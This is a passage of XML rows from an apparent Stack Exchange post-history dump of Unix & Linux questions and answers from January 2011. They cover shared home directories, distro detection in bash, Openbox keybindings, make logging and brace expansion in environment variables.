  <row Id="14613" PostHistoryTypeId="2" PostId="6400" RevisionGUID="b98b250b-a98f-4d4b-ad44-ed0f8511f993" CreationDate="2011-01-24T20:57:26.973" UserId="885" Text="You can share home directories between distributions, even between different unix variants. People with home directories shared via NFS on a heterogeneous network do it all the time.&#xD;&#xA;&#xD;&#xA;You may run into trouble if you run different versions of some programs on different systems sharing the same home directories. Troublesome programs are typically the ones with the fanciest GUIs, such as Gnome. For example Firefox will happily upgrade your profile to a newer version but might not let you load that profile again in an earlier version.&#xD;&#xA;" />
  <row Id="14614" PostHistoryTypeId="6" PostId="6366" RevisionGUID="f8336dce-ddb2-4374-90a6-b5b9782120ce" CreationDate="2011-01-24T20:58:43.743" UserId="885" Comment="edited tags" Text="éubuntuàédebianàépackageömanagementàéaptàédpkgà" />
  <row Id="14615" PostHistoryTypeId="5" PostId="6370" RevisionGUID="b5c48dc1-3fd5-4d57-8d28-80a6d842bf9b" CreationDate="2011-01-24T21:01:49.793" UserId="885" Comment="formatting; grammar; tags" Text="Our server is hosted out of the country, I just have SSH access. I want to take an image backup of my server. I found the `e2image` utility to take an online backup of that server, but when I run `e2image -r /dev/sda1 sda1image`, the command does not run, instead it shows this error:&#xD;&#xA;&#xD;&#xA;    [root@server ~]# e2image -r /dev/sda1 image&#xD;&#xA;    e2image 1.39 (29-May-2006)&#xD;&#xA;    e2image: Bad magic number in super-block while trying to open /dev/sda1&#xD;&#xA;    Couldn't find valid filesystem superblock.&#xD;&#xA;&#xD;&#xA;Could any one help me, how I can take my whole server backup?&#xD;&#xA;" />
  <row Id="14616" PostHistoryTypeId="4" PostId="6370" RevisionGUID="b5c48dc1-3fd5-4d57-8d28-80a6d842bf9b" CreationDate="2011-01-24T21:01:49.793" UserId="885" Comment="formatting; grammar; tags" Text="How to run e2image to backup a remote CentOS server?" />
  <row Id="14617" PostHistoryTypeId="6" PostId="6370" RevisionGUID="b5c48dc1-3fd5-4d57-8d28-80a6d842bf9b" CreationDate="2011-01-24T21:01:49.793" UserId="885" Comment="formatting; grammar; tags" Text="éfilesystemsàébackupà" />
  <row Id="14618" PostHistoryTypeId="5" PostId="6345" RevisionGUID="703bdbb3-c416-40f2-9980-8d01223c49ec" CreationDate="2011-01-24T21:06:07.993" UserId="885" Comment="fixed syntax errors" Text="I'm working on a simple bash script that should be able to run on Ubuntu and CentOS distributions (support for Debian and Fedora/RHEL would be a plus) and I need to know the name and version of the distribution the script is running (in order to trigger specific actions, for instance the creation of repositories). So far what I've got is this:&#xD;&#xA;&#xD;&#xA;    OS=$(awk '/DISTRIB_ID=/' /etc/*-release | sed 's/DISTRIB_ID=//' | tr '[:upper:]' '[:lower:]')&#xD;&#xA;    ARCH=$(uname -m | sed 's/x86_//;s/i[3-6]86/32/')&#xD;&#xA;    VERSION=$(awk '/DISTRIB_RELEASE=/' /etc/*-release | sed 's/DISTRIB_RELEASE=//' | sed 's/[.]0/./')&#xD;&#xA;    &#xD;&#xA;    if [ -z &quot;$OS&quot; ]; then&#xD;&#xA;    	OS=$(awk '{print $1}' /etc/*-release | tr '[:upper:]' '[:lower:]')&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    if [ -z &quot;$VERSION&quot; ]; then&#xD;&#xA;    	VERSION=$(awk '{print $3}' /etc/*-release)&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    echo $OS&#xD;&#xA;    echo $ARCH&#xD;&#xA;    echo $VERSION&#xD;&#xA;&#xD;&#xA;This *seems* to work, returning `ubuntu` or `centos` (I haven't tried others) as the release name however, I have a feeling that there must be an easier, more reliable way of finding this out... No?" />
  <row Id="14619" PostHistoryTypeId="6" PostId="6345" RevisionGUID="703bdbb3-c416-40f2-9980-8d01223c49ec" CreationDate="2011-01-24T21:06:07.993" UserId="885" Comment="fixed syntax errors" Text="éshellàéubuntuàédistrosàécentosà" />
  <row Id="14620" PostHistoryTypeId="6" PostId="6342" RevisionGUID="c55eca30-eac5-4af8-bf18-f968b941bfc5" CreationDate="2011-01-24T21:18:17.570" UserId="885" Comment="edited tags" Text="élinuxàéinstallàémountàéext3àécrunchbangà" />
  <row Id="14621" PostHistoryTypeId="6" PostId="6325" RevisionGUID="75afd189-f8cd-4f64-8133-66d8fa26f17e" CreationDate="2011-01-24T21:19:08.053" UserId="885" Comment="edited tags" Text="ésshàéscreenàécolorsàéputtyàébyobuà" />
  <row Id="14622" PostHistoryTypeId="2" PostId="6401" RevisionGUID="fab47a26-7ce6-423d-b0dc-1b95794d6495" CreationDate="2011-01-24T21:21:04.193" UserId="3169" Text="The [Openbox Bindings Documentation][1] suggests you can only set shortcuts for all windows, not just for one program.&#xD;&#xA;&#xD;&#xA;But that way should still work.&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt;, &lt;kbd&gt;x&lt;/kbd&gt; is the default shortcut for maximize/unmaximize in most window managers.  Does that work?&#xD;&#xA;&#xD;&#xA;Unless you meant **unminimize** / **restore** rather than maximize, i.e. a binding that works even when the window isn't focussed.&#xD;&#xA;&#xD;&#xA;In that case, I'd suggest using `xbindkeys` and `wmctrl`.  You'd have to write a script that runs `wmctrl` to find the `uzbl` window using `wmctrl -l`, then run either `wmctrl -a &lt;win&gt;` or `wmctrl -R &lt;win&gt;`, then add an entry in `.xbindkeysrc` to run that script whenever a specific keyboard combination was pressed.&#xD;&#xA;&#xD;&#xA;  [1]: http://openbox.org/wiki/Help:Bindings" />
  <row Id="14623" PostHistoryTypeId="2" PostId="6402" RevisionGUID="5c339bdd-84e4-4333-8389-e13ee1bd1d23" CreationDate="2011-01-24T21:24:04.957" UserId="688" Text="I got an mp4 video file with multiple audio tracks. I would like to strip away the rest of the tracks and keep just one. How do I do this?" />
  <row Id="14624" PostHistoryTypeId="1" PostId="6402" RevisionGUID="5c339bdd-84e4-4333-8389-e13ee1bd1d23" CreationDate="2011-01-24T21:24:04.957" UserId="688" Text="How to remove an audio track from an mp4 video file?" />
  <row Id="14625" PostHistoryTypeId="3" PostId="6402" RevisionGUID="5c339bdd-84e4-4333-8389-e13ee1bd1d23" CreationDate="2011-01-24T21:24:04.957" UserId="688" Text="évideoöeditingà" />
  <row Id="14626" PostHistoryTypeId="5" PostId="6401" RevisionGUID="290407e6-e70a-4259-bcb0-94c756e9e140" CreationDate="2011-01-24T21:27:55.730" UserId="3169" Comment="added 183 characters in body" Text="The [Openbox Bindings Documentation][1] suggests you can only set shortcuts for all windows, not just for one program.&#xD;&#xA;&#xD;&#xA;But that way should still work.&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt;, &lt;kbd&gt;x&lt;/kbd&gt; is the default shortcut for maximize/unmaximize in most window managers.  Does that work?  Or maybe it's &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F6&lt;/kbd&gt; and &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F7&lt;/kbd&gt; as suggested in the [Actions Documentation][2].&#xD;&#xA;&#xD;&#xA;Unless you meant **unminimize** / **restore** rather than maximize, i.e. a binding that works even when the window isn't focussed.&#xD;&#xA;&#xD;&#xA;In that case, I'd suggest using `xbindkeys` and `wmctrl`.  You'd have to write a script that runs `wmctrl` to find the `uzbl` window using `wmctrl -l`, then run either `wmctrl -a &lt;win&gt;` or `wmctrl -R &lt;win&gt;`, then add an entry in `.xbindkeysrc` to run that script whenever a specific keyboard combination was pressed.&#xD;&#xA;&#xD;&#xA;  [1]: http://openbox.org/wiki/Help:Bindings&#xD;&#xA;  [2]: http://openbox.org/wiki/Help:Actions#MaximizeFull" />
  <row Id="14627" PostHistoryTypeId="5" PostId="6401" RevisionGUID="73eea8ef-cd6b-44b1-94c1-996fa180d0a7" CreationDate="2011-01-24T21:33:08.737" UserId="3169" Comment="added 206 characters in body" Text="&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt;, &lt;kbd&gt;x&lt;/kbd&gt; is the default shortcut for maximize/unmaximize in most window managers.  Does that work?&#xD;&#xA;&#xD;&#xA;Or maybe it's &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F6&lt;/kbd&gt; and &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F7&lt;/kbd&gt; as suggested in the [Actions Documentation][2].&#xD;&#xA;&#xD;&#xA;If not, you can add a binding using the information in the [Openbox Bindings Documentation][1], but it sounds like you can only set shortcuts for all windows, not just for one program.&#xD;&#xA;&#xD;&#xA;In brief, you find your `rc.xml` file, then add something like this in the middle of it:&#xD;&#xA;&#xD;&#xA;    &lt;keybind key=&quot;A-F6&quot;&gt;&#xD;&#xA;      &lt;action name=&quot;MaximizeFull&quot;/&gt;&#xD;&#xA;    &lt;/keybind&gt;&#xD;&#xA;&#xD;&#xA;Unless you meant **unminimize** / **restore** rather than maximize, i.e. a binding that works even when the window isn't focussed.&#xD;&#xA;&#xD;&#xA;In that case, I'd suggest using `xbindkeys` and `wmctrl`.  You'd have to write a script that runs `wmctrl` to find the `uzbl` window using `wmctrl -l`, then run either `wmctrl -a &lt;win&gt;` or `wmctrl -R &lt;win&gt;`, then add an entry in `.xbindkeysrc` to run that script whenever a specific keyboard combination was pressed.&#xD;&#xA;&#xD;&#xA;  [1]: http://openbox.org/wiki/Help:Bindings&#xD;&#xA;  [2]: http://openbox.org/wiki/Help:Actions#MaximizeFull" />
  <row Id="14628" PostHistoryTypeId="2" PostId="6403" RevisionGUID="ac3e3d57-ebf7-4b87-8cb6-83b25fbad26b" CreationDate="2011-01-24T21:58:20.110" UserId="688" Text="There are so many video editors out there (at least half a dozen during my search), and I wonder which is the most advanced among them? How does it compare with commercial offerings?" />
  <row Id="14629" PostHistoryTypeId="1" PostId="6403" RevisionGUID="ac3e3d57-ebf7-4b87-8cb6-83b25fbad26b" CreationDate="2011-01-24T21:58:20.110" UserId="688" Text="What is the most advanced video editing FLOSS?" />
  <row Id="14630" PostHistoryTypeId="3" PostId="6403" RevisionGUID="ac3e3d57-ebf7-4b87-8cb6-83b25fbad26b" CreationDate="2011-01-24T21:58:20.110" UserId="688" Text="évideoöeditingà" />
  <row Id="14631" PostHistoryTypeId="2" PostId="6404" RevisionGUID="bb3a49b9-27bf-4b58-b036-8b7761fd67d9" CreationDate="2011-01-24T22:13:01.013" UserId="3169" Text="To expand on xenoterracide's comment...&#xD;&#xA;&#xD;&#xA;Rather than run `make`, I put this in my `.bashrc`&#xD;&#xA;&#xD;&#xA;    # make with an automatic log and pager&#xD;&#xA;    m()&#xD;&#xA;    {&#xD;&#xA;        command make &quot;$@&quot; 2&gt;&amp;1 1&gt;&amp;- 1&gt;make.log | tee -a make.log&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;then run `m` instead of `make`.&#xD;&#xA;" />
  <row Id="14632" PostHistoryTypeId="5" PostId="6404" RevisionGUID="a48c412b-e11e-4491-8971-f3fc1fe87502" CreationDate="2011-01-24T22:18:09.963" UserId="3169" Comment="added 221 characters in body" Text="To expand on xenoterracide's comment...&#xD;&#xA;&#xD;&#xA;Rather than run `make`, I put this in my `.bashrc`&#xD;&#xA;&#xD;&#xA;    # make with an automatic log and pager&#xD;&#xA;    m()&#xD;&#xA;    {&#xD;&#xA;        command make &quot;$@&quot; 2&gt;&amp;1 1&gt;&amp;- 1&gt;make.log | tee -a make.log&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;then run `m` instead of `make`.&#xD;&#xA;&#xD;&#xA;This puts all output to `make.log`, but only prints errors on the console.&#xD;&#xA;&#xD;&#xA;That way you don't have tonnes of output on the screen, can easily see errors, and can read `make.log` to diagnose any problems if it failed." />
  <row Id="14633" PostHistoryTypeId="2" PostId="6405" RevisionGUID="42590067-5338-47a7-8675-cb943c53c41b" CreationDate="2011-01-24T22:35:53.973" UserId="3240" Text="Hum... I usually end up installing the complete version of vim in $HOME, even on unix stations like Solaris stations, that only have the old vi at first.&#xD;&#xA;&#xD;&#xA;Otherwise, grep+egrep+$(), or even perl as Edd suggested, will do the trick from the shell." />
  <row Id="14634" PostHistoryTypeId="2" PostId="6406" RevisionGUID="f5b3d330-a1b1-4edc-82d9-436bc1dd312d" CreationDate="2011-01-24T22:38:50.350" UserId="4137" Text="I use the following function in zsh:&#xD;&#xA;&lt;code&gt;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;ununzip () {&#xD;&#xA;    rm -r $(unzip -l $1 | grep -v 'Archive:' | \&#xD;&#xA;    grep '[/.]' | sed 's![^a-zA-Z]*\([a-zA-Z./]*\)!\1!')&#xD;&#xA;}&#xD;&#xA;&lt;/pre&gt;&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;I.e. command substitution to remove all files in the cleaned up output of &lt;code&gt;unzip -l&lt;/code&gt;.&#xD;&#xA;&#xD;&#xA;&lt;code&gt;tar tvf&lt;/code&gt; could be used in a similar way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14635" PostHistoryTypeId="2" PostId="6407" RevisionGUID="624e25cf-2063-47f2-9722-81db2ace0f2c" CreationDate="2011-01-24T22:46:02.840" UserId="4135" Text="There are different ways of rating video edition software, and depending on which attribute (features ? user-friendliness?) you want to focus on, the answer to your question will be different.&#xD;&#xA;&#xD;&#xA;Assuming you mean &quot;Which Open Source video edition software is the most complete (it terms of features)&quot;, then the answer is probably [Cinerella][1].&#xD;&#xA;&#xD;&#xA;To get an idea of how it compares to other video edition software, I suggest you have a look at the appropriate Wikipedia page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cinelerra.org/" />
  <row Id="14636" PostHistoryTypeId="5" PostId="6407" RevisionGUID="980a4c8a-f596-4d34-a701-efe5ef933ed9" CreationDate="2011-01-24T22:53:15.980" UserId="1207" Comment="added 97 characters in body" Text="There are different ways of rating video edition software, and depending on which attribute (features ? user-friendliness?) you want to focus on, the answer to your question will be different.&#xD;&#xA;&#xD;&#xA;Assuming you mean &quot;Which Open Source video edition software is the most complete (it terms of features)&quot;, then the answer is probably [Cinerella][1].&#xD;&#xA;&#xD;&#xA;To get an idea of how it compares to other video edition software, I suggest you have a look at the appropriate [Wikipedia page][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cinelerra.org/&#xD;&#xA;  [2]: https://secure.wikimedia.org/wikipedia/en/wiki/Comparison_of_video_editing_software" />
  <row Id="14637" PostHistoryTypeId="25" PostId="6389" RevisionGUID="04c67c44-09da-43a6-b358-67a28a31642c" CreationDate="2011-01-24T22:55:48.790" Comment="http://twitter.com/#!/StackUnix/status/29673752828575746" />
  <row Id="14638" PostHistoryTypeId="2" PostId="6408" RevisionGUID="4b242136-0bc7-4c7f-9f75-8c19b6e8da21" CreationDate="2011-01-24T23:08:17.573" UserId="3069" Text="It certainly is possible to share a home folder (or partition) over different linux distributions.&#xD;&#xA;&#xD;&#xA;But take the following notes:&#xD;&#xA;&#xD;&#xA; - UID and GID must be the same on each distributions for the certain user(s).&#xD;&#xA; - (as already pointed out) different configuration files for the same programs could result in unexpected behavior.&#xD;&#xA; - If you install all distributions onto the same boot folder, make sure that the bootloader handles the different distributions correctly. &#xD;&#xA;&#xD;&#xA;I have set up a working (virtual) setup:&#xD;&#xA;&#xD;&#xA;    /dev/sda (40GB)&#xD;&#xA;     +-/dev/sda1   /boot (100MB, ext2)&#xD;&#xA;     +-/dev/sda3   swap  (2GB)&#xD;&#xA;     +-/dev/sda4   /home (20GB, ext4)&#xD;&#xA;     +---/dev/sda5  /root (Ubuntu 10.04, 5GB, ext4)&#xD;&#xA;     +---/dev/sda6  /root (Fedora 14, 5GB, ext4)&#xD;&#xA;     +---/dev/sda7  /root (openSUSE 11.3, 5GB, ext4)&#xD;&#xA;     +---/dev/sda8  /root (ArchLinux 2010.05, 5GB, ext4)&#xD;&#xA;&#xD;&#xA;Ubuntu and Fedora both run Gnome 2.30, openSUSE has KDE4 and ArchLinux LXDE. All distributions have their necessary boot files on one partition.&#xD;&#xA;Switching between the distributions provides a persistent user configuration like intended.&#xD;&#xA;&#xD;&#xA;The other possibility would be a lightweight home folder (doesn't have to be a whole partition) for each of the distributions, only providing the necessary configuration files (.gnome2, .kde4, .compiz, .themes, etc.) and a shared data partition with the &quot;heavy&quot; stuff (documents, pictures, videos, music, etc.). Symbolic links in each of the distributions own home folder would then point to the shared partition.&#xD;&#xA;&#xD;&#xA;Afterwards, this can be expanded at will to include other stuff as well.  &#xD;&#xA;Example: You have `eclipse` IDE installed on all distributions and want the same configuration and source files available everywhere. You can create symbolic links on each distributions home folder to the shared one to achieve this.&#xD;&#xA;&#xD;&#xA;This would be Ubuntu:&#xD;&#xA;&#xD;&#xA;    $ ls -l /home/user&#xD;&#xA;    .eclipse -&gt; /mnt/shared/.eclipse&#xD;&#xA;    .gnome2&#xD;&#xA;    Documents -&gt; /mnt/shared/Documents&#xD;&#xA;    workspace -&gt; /mnt/shared/workspace&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;And openSUSE:&#xD;&#xA;&#xD;&#xA;    $ ls -l /home/user&#xD;&#xA;    .eclipse -&gt; /mnt/shared/.eclipse&#xD;&#xA;    .kde4&#xD;&#xA;    Documents -&gt; /mnt/shared/Documents&#xD;&#xA;    workspace -&gt; /mnt/shared/workspace&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;And so on..&#xD;&#xA;&#xD;&#xA;If you're not sure about interfering configuration files, try the second, safer way and find out which home components can be shared easily between the installed distributions." />
  <row Id="14639" PostHistoryTypeId="5" PostId="6402" RevisionGUID="e118a29c-7960-4cc6-8fb8-f61b2a8a8c8a" CreationDate="2011-01-24T23:12:17.810" UserId="73" Comment="added 1 characters in body" Text="I have an mp4 video file with multiple audio tracks. I would like to strip away the rest of the tracks and keep just one. How do I do this?" />
  <row Id="14640" PostHistoryTypeId="2" PostId="6409" RevisionGUID="ac222c10-63d6-419d-8705-1947a988a81e" CreationDate="2011-01-25T00:26:23.300" UserId="688" Text="I read once that one advantage of a microkernel architecture is that you can stop/start essential services like networking and filesystems, without needing to restart the whole system. But considering that Linux kernel nowadays (was it always the case?) offers the option to use modules to achieve the same effect, what are the (remaining) advantages of a microkernel?" />
  <row Id="14641" PostHistoryTypeId="1" PostId="6409" RevisionGUID="ac222c10-63d6-419d-8705-1947a988a81e" CreationDate="2011-01-25T00:26:23.300" UserId="688" Text="How does Linux kernel compare to microkernel architectures?" />
  <row Id="14642" PostHistoryTypeId="3" PostId="6409" RevisionGUID="ac222c10-63d6-419d-8705-1947a988a81e" CreationDate="2011-01-25T00:26:23.300" UserId="688" Text="élinuxàékernelàémicrokernelà" />
  <row Id="14643" PostHistoryTypeId="2" PostId="6410" RevisionGUID="72adb054-c5e4-495a-ba40-b20dad6d202a" CreationDate="2011-01-25T01:18:55.557" UserId="688" Text="Just a few minutes ago my sound was working, and then it stopped! I suspect it was caused by me checking out some video editors. How do I go about troubleshooting this?&#xD;&#xA;&#xD;&#xA;What I've so far tried:&#xD;&#xA;&#xD;&#xA;* I ran `lsof | grep audio` and `lsof | grep delete` to see if there's any process locking the audio path(?), but nothing looks suspect.&#xD;&#xA;* VLC and MPlayer are affected, while Quod Libet (GStreamer) isn't.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14644" PostHistoryTypeId="1" PostId="6410" RevisionGUID="72adb054-c5e4-495a-ba40-b20dad6d202a" CreationDate="2011-01-25T01:18:55.557" UserId="688" Text="How come I suddenly don't have any audio?" />
  <row Id="14645" PostHistoryTypeId="3" PostId="6410" RevisionGUID="72adb054-c5e4-495a-ba40-b20dad6d202a" CreationDate="2011-01-25T01:18:55.557" UserId="688" Text="éaudioàétroubleshootingà" />
  <row Id="14646" PostHistoryTypeId="2" PostId="6411" RevisionGUID="c2e6fd87-1e71-4fd7-bc83-b12e4f065043" CreationDate="2011-01-25T01:33:45.303" UserId="4153" Text="I have two drives with the same files, but the directory structure is totally different.&#xD;&#xA;&#xD;&#xA;Is there any way to 'move' all the files on the destination side so that they match the structure of the source side? With a script perhaps?&#xD;&#xA;&#xD;&#xA;For example, drive A has:&#xD;&#xA;/foo/bar/123.txt&#xD;&#xA;/foo/bar/234.txt&#xD;&#xA;/foo/bar/dir/567.txt&#xD;&#xA;&#xD;&#xA;Whereas drive B has:&#xD;&#xA;/some/other/path/123.txt&#xD;&#xA;/bar/doo2/wow/234.txt&#xD;&#xA;/bar/doo/567.txt&#xD;&#xA;&#xD;&#xA;The files in question are huge (800GB), so I don't want to re-copy them; I just want to sync the structure by creating the necessary directories and moving the files.&#xD;&#xA;&#xD;&#xA;I was thinking of a recursive script that would find each source file on the destination, then move it to a matching directory, creating it if necessary. But that's beyond my abilities ...&#xD;&#xA;&#xD;&#xA;Any help greatly appreciated!&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="14647" PostHistoryTypeId="1" PostId="6411" RevisionGUID="c2e6fd87-1e71-4fd7-bc83-b12e4f065043" CreationDate="2011-01-25T01:33:45.303" UserId="4153" Text="Any way to sync directory structure when the files are already on both sides?" />
  <row Id="14648" PostHistoryTypeId="3" PostId="6411" RevisionGUID="c2e6fd87-1e71-4fd7-bc83-b12e4f065043" CreationDate="2011-01-25T01:33:45.303" UserId="4153" Text="édirectoryàésyncà" />
  <row Id="14649" PostHistoryTypeId="2" PostId="6412" RevisionGUID="5d3f9e08-a1a9-4f6f-be7a-62c4143b82dd" CreationDate="2011-01-25T01:35:32.523" UserId="3967" Text="Hello,&#xD;&#xA;I wanted to declare an environment variable that stocks all the extensions of video files so I can use it when using the shell.&#xD;&#xA;&#xD;&#xA;I tried several things but never got it to work:&#xD;&#xA;If in my .bash_profile I put: &#xD;&#xA;&#xD;&#xA;    export VIDEOS={mp4,wmv,avi,flv,mkv,m4u,mpg,mpeg}&#xD;&#xA;&#xD;&#xA;it only takes the last element:&#xD;&#xA;&#xD;&#xA;    [nbarraille@nbarraille ~]echo $VIDEOS&#xD;&#xA;    mpeg&#xD;&#xA;&#xD;&#xA;If in my .bash_profile I put:&#xD;&#xA;&#xD;&#xA;    export VIDEOS=&quot;{mp4,wmv,avi,flv,mkv,m4u,mpg,mpeg}&quot;&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    export VIDEOS='{mp4,wmv,avi,flv,mkv,m4u,mpg,mpeg}'&#xD;&#xA;&#xD;&#xA;Then, when I display it it looks OK, but it doesn't work when I use it in a ls for example:&#xD;&#xA;&#xD;&#xA;    [nbarraille@nbarraille ~] echo $VIDEOS&#xD;&#xA;    {mp4,wmv,avi,flv,mkv,m4u,mpg,mpeg}&#xD;&#xA;    [nbarraille@nbarraille ~] ll *.$VIDEOS&#xD;&#xA;    ls: cannot access *.{mp4,wmv,avi,flv,mkv,m4u,mpg,mpeg}: No such file or directory&#xD;&#xA;&#xD;&#xA;And when I run the exact same command without using the variable, it works:&#xD;&#xA;&#xD;&#xA;    [nbarraille@nbarraille ~] echo *.{mp4,wmv,avi,flv,mkv,m4u,mpg,mpeg}&#xD;&#xA;    example.avi&#xD;&#xA;    example2.mpg&#xD;&#xA;&#xD;&#xA;Also, when I reboot, it looks like my .bash_profile is not loading, and the $VIDEOS variable is empty. I have to do a `source ~/.bash_profile` in order to get it to work (and I have to redo so every time I open a new terminal.&#xD;&#xA;&#xD;&#xA;Any idea?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="14650" PostHistoryTypeId="1" PostId="6412" RevisionGUID="5d3f9e08-a1a9-4f6f-be7a-62c4143b82dd" CreationDate="2011-01-25T01:35:32.523" UserId="3967" Text="ls, regexp and environment variable" />
  <row Id="14651" PostHistoryTypeId="3" PostId="6412" RevisionGUID="5d3f9e08-a1a9-4f6f-be7a-62c4143b82dd" CreationDate="2011-01-25T01:35:32.523" UserId="3967" Text="éenvironmentövariablesà" />
  <row Id="14652" PostHistoryTypeId="25" PostId="6411" RevisionGUID="e2931ec4-7250-4e52-b33f-b0edfbd6f68e" CreationDate="2011-01-25T01:55:48.700" Comment="http://twitter.com/#!/StackUnix/status/29719051261444096" />
  <row Id="14653" PostHistoryTypeId="2" PostId="6413" RevisionGUID="4abd146b-f2c1-4f6d-ba9a-0053c6c57689" CreationDate="2011-01-25T02:14:06.110" UserId="3169" Text="Your command is being expanded to this:&#xD;&#xA;&#xD;&#xA;    export VIDEOS=mp4 VIDEOS=wmv VIDEOS=avi VIDEOS=flv VIDEOS=mkv VIDEOS=m4u VIDEOS=mpg VIDEOS=mpeg&#xD;&#xA;&#xD;&#xA;because of [brace expansion][1] for details.&#xD;&#xA;&#xD;&#xA;Run this to see what's happening:&#xD;&#xA;&#xD;&#xA;    echo export VIDEOS={mp4,wmv,avi,flv,mkv,m4u,mpg,mpeg}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Brace-Expansion" />
  <row Id="14654" PostHistoryTypeId="5" PostId="6413" RevisionGUID="31ed8d62-3eb9-4e98-8b63-f063f53c1fdd" CreationDate="2011-01-25T02:22:25.523" UserId="3169" Comment="added 336 characters in body; added 262 characters in body" Text="Your command is being expanded to this:&#xD;&#xA;&#xD;&#xA;    export VIDEOS=mp4 VIDEOS=wmv VIDEOS=avi VIDEOS=flv VIDEOS=mkv VIDEOS=m4u VIDEOS=mpg VIDEOS=mpeg&#xD;&#xA;&#xD;&#xA;because of [brace expansion][1] for details.&#xD;&#xA;&#xD;&#xA;Run this to see what's happening:&#xD;&#xA;&#xD;&#xA;    echo export VIDEOS={mp4,wmv,avi,flv,mkv,m4u,mpg,mpeg}&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Brace-Expansion&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;This part working:&#xD;&#xA;&#xD;&#xA;    echo *.{mp4,wmv,avi,flv,mkv,m4u,mpg,mpeg}&#xD;&#xA;&#xD;&#xA;could give us a clue as to why editing `.bash_profile` does nothing.&#xD;&#xA;&#xD;&#xA;On a default system, it would print something like this:&#xD;&#xA;&#xD;&#xA;    foo.mp4 *.wmv *.avi *.flv *.mkv *.m4u *.mpg foo.mpeg&#xD;&#xA;&#xD;&#xA;note how there are entries for `*.wmv` etc?  Those are there because `*.wmv` didn't match any files, and that's how `bash` works normally.&#xD;&#xA;&#xD;&#xA;Either you are using `bash` with the `nullglob` option set, or you are using `zsh`.&#xD;&#xA;&#xD;&#xA;Please tell us what this does:&#xD;&#xA;&#xD;&#xA;    echo $0&#xD;&#xA;&#xD;&#xA;so we can figure out which file you have to put it in." />
  <row Id="14655" PostHistoryTypeId="2" PostId="6414" RevisionGUID="0cab3656-611c-4f61-9c04-d4fe330ba70a" CreationDate="2011-01-25T02:24:51.967" UserId="4084" Text="speedyx from [identi.ca][1] mentioned [santech.it][2], [system76][3] and [ZaReason][4]. I emailed support from ZaReason and I got a reply that you can request an Atheros wifi card that uses the ath9k driver; soon they will be offering it as an option on their website. The only issue that remains in this context is the non-free BIOS, wich I can probably live with. (Probably.) :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://identi.ca&#xD;&#xA;  [2]: http://santech.it&#xD;&#xA;  [3]: http://system76.com&#xD;&#xA;  [4]: http://zareason.com" />
  <row Id="14656" PostHistoryTypeId="6" PostId="4583" RevisionGUID="c2ecb1a3-ec29-436a-9b78-30b1ed8d4f67" CreationDate="2011-01-25T02:29:30.323" UserId="688" Comment="edited tags" Text="élinuxàémonitoringà" />
  <row Id="14657" PostHistoryTypeId="5" PostId="6413" RevisionGUID="3d6075fe-f475-467b-a497-73390841c831" CreationDate="2011-01-25T02:30:18.200" UserId="3169" Comment="added 612 characters in body; added 106 characters in body; deleted 300 characters in body" Text="Your command is being expanded to this:&#xD;&#xA;&#xD;&#xA;    export VIDEOS=mp4 VIDEOS=wmv VIDEOS=avi VIDEOS=flv VIDEOS=mkv VIDEOS=m4u VIDEOS=mpg VIDEOS=mpeg&#xD;&#xA;&#xD;&#xA;because of brace expansion.  See the [bash manual section on brace expansion][1] for details.&#xD;&#xA;&#xD;&#xA;Run this to see what's happening:&#xD;&#xA;&#xD;&#xA;    echo export VIDEOS={mp4,wmv,avi,flv,mkv,m4u,mpg,mpeg}&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Brace-Expansion&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;The second problem is that `bash` does brace expansion before parameter expansion, not after it, so anything that looks like your solution will be messy.&#xD;&#xA;&#xD;&#xA;You would have to do something like this:&#xD;&#xA;&#xD;&#xA;    eval echo \*.$VIDEOS&#xD;&#xA;&#xD;&#xA;which will get annoying to type every time.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;How about something like this:&#xD;&#xA;&#xD;&#xA;    videos() {&#xD;&#xA;        find . -mindepth 1 -maxdepth 1 -type f \&#xD;&#xA;            \( -name &quot;*.mp4&quot; -o -name &quot;*.wmv&quot; -o -name &quot;*.avi&quot; -o \&#xD;&#xA;               -name &quot;*.flv&quot; -o -name &quot;*.mkv&quot; -o -name &quot;*.m4u&quot; -o \&#xD;&#xA;               -name &quot;*.mpg&quot; -o -name &quot;*.mpeg&quot; \)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;then run it like this:&#xD;&#xA;&#xD;&#xA;    videos&#xD;&#xA;&#xD;&#xA;or if you need to pass it to a command:&#xD;&#xA;&#xD;&#xA;    ls $(videos)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;This part working:&#xD;&#xA;&#xD;&#xA;    echo 